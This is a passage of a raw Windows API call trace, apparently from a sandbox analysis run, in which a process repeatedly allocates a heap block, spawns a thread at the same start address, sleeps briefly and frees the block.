dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0075.103] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0075.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b8 [0075.104] Sleep (dwMilliseconds=0x32) [0075.197] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0075.197] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0075.197] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0075.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8 [0075.198] Sleep (dwMilliseconds=0x32) [0075.290] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0075.290] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0075.290] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0075.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f8 [0075.291] Sleep (dwMilliseconds=0x32) [0075.384] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0075.384] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0075.384] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0075.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x81c [0075.385] Sleep (dwMilliseconds=0x32) [0075.477] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0075.478] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0075.478] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0075.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0075.478] Sleep (dwMilliseconds=0x32) [0075.571] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0075.571] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0075.571] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0075.571] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0075.572] Sleep (dwMilliseconds=0x32) [0075.665] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0075.665] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0075.665] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0075.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c [0075.665] Sleep (dwMilliseconds=0x32) [0075.759] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0075.759] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0075.759] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0075.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c [0075.759] Sleep (dwMilliseconds=0x32) [0075.853] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0075.853] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0075.853] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0075.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc [0075.854] Sleep (dwMilliseconds=0x32) [0075.946] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0075.946] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0075.946] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0075.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc [0075.946] Sleep (dwMilliseconds=0x32) [0076.056] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0076.056] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0076.056] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0076.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8fc [0076.057] Sleep (dwMilliseconds=0x32) [0076.149] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0076.149] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0076.149] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0076.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c [0076.150] Sleep (dwMilliseconds=0x32) [0076.243] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0076.244] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0076.244] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0076.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c [0076.244] Sleep (dwMilliseconds=0x32) [0076.336] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0076.336] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0076.336] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0076.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x95c [0076.337] Sleep (dwMilliseconds=0x32) [0076.429] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0076.429] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0076.429] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0076.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c [0076.430] Sleep (dwMilliseconds=0x32) [0076.523] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0076.523] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0076.523] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0076.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0076.524] Sleep (dwMilliseconds=0x32) [0076.618] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0076.618] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0076.618] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0076.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0076.619] Sleep (dwMilliseconds=0x32) [0076.710] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0076.711] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0076.711] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0076.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9dc [0076.712] Sleep (dwMilliseconds=0x32) [0076.804] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0076.804] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0076.804] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0076.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc [0076.805] Sleep (dwMilliseconds=0x32) [0076.898] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0076.898] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0076.898] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0076.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c [0076.898] Sleep (dwMilliseconds=0x32) [0076.991] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0076.991] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0076.991] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0076.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa3c [0076.992] Sleep (dwMilliseconds=0x32) [0077.131] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0077.131] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0077.132] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0077.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa5c [0077.132] Sleep (dwMilliseconds=0x32) [0077.225] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0077.225] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0077.225] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0077.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa7c [0077.225] Sleep (dwMilliseconds=0x32) [0077.318] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0077.318] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0077.319] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0077.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa9c [0077.319] Sleep (dwMilliseconds=0x32) [0077.412] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0077.412] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0077.412] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0077.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xabc [0077.413] Sleep (dwMilliseconds=0x32) [0077.506] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0077.506] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0077.506] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0077.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xadc [0077.507] Sleep (dwMilliseconds=0x32) [0077.599] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0077.599] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0077.599] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0077.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xafc [0077.600] Sleep (dwMilliseconds=0x32) [0077.693] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0077.693] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0077.693] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0077.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb1c [0077.694] Sleep (dwMilliseconds=0x32) [0077.792] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0077.800] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0077.800] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0077.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb3c [0077.801] Sleep (dwMilliseconds=0x32) [0077.851] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0077.851] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0077.851] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0077.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb5c [0077.852] Sleep (dwMilliseconds=0x32) [0077.944] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0077.944] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0077.944] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0077.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb7c [0077.945] Sleep (dwMilliseconds=0x32) [0078.037] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0078.037] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0078.037] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0078.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb9c [0078.038] Sleep (dwMilliseconds=0x32) [0078.131] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0078.131] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0078.131] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0078.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbbc [0078.132] Sleep (dwMilliseconds=0x32) [0078.224] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0078.224] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0078.224] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0078.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbdc [0078.225] Sleep (dwMilliseconds=0x32) [0078.318] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0078.318] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0078.318] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0078.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbfc [0078.319] Sleep (dwMilliseconds=0x32) [0078.411] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0078.411] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0078.411] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0078.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc20 [0078.412] Sleep (dwMilliseconds=0x32) [0078.508] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0078.508] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0078.508] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0078.508] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc40 [0078.510] Sleep (dwMilliseconds=0x32) [0078.598] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0078.598] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0078.599] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0078.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc60 [0078.599] Sleep (dwMilliseconds=0x32) [0078.707] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0078.707] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0078.707] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0078.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc74 [0078.708] Sleep (dwMilliseconds=0x32) [0078.801] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0078.801] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0078.801] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0078.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca0 [0078.802] Sleep (dwMilliseconds=0x32) [0078.897] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0078.897] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0078.897] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0078.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcc0 [0078.898] Sleep (dwMilliseconds=0x32) [0078.989] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0078.989] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0078.990] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0078.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce0 [0078.990] Sleep (dwMilliseconds=0x32) [0079.082] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0079.082] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0079.082] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0079.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd00 [0079.083] Sleep (dwMilliseconds=0x32) [0079.176] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0079.176] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0079.176] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0079.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd20 [0079.177] Sleep (dwMilliseconds=0x32) [0079.269] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0079.269] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0079.269] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0079.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd40 [0079.270] Sleep (dwMilliseconds=0x32) [0079.363] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0079.363] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0079.363] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0079.363] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd60 [0079.364] Sleep (dwMilliseconds=0x32) [0079.459] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0079.459] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0079.459] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0079.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd80 [0079.460] Sleep (dwMilliseconds=0x32) [0079.551] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0079.551] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0079.552] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0079.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda0 [0079.552] Sleep (dwMilliseconds=0x32) [0079.645] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0079.645] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0079.645] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0079.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x2eefd2c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc0 [0079.645] Sleep (dwMilliseconds=0x32) [0079.737] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0079.737] HeapFree (in: hHeap=0x230000, dwFlags=0x0, 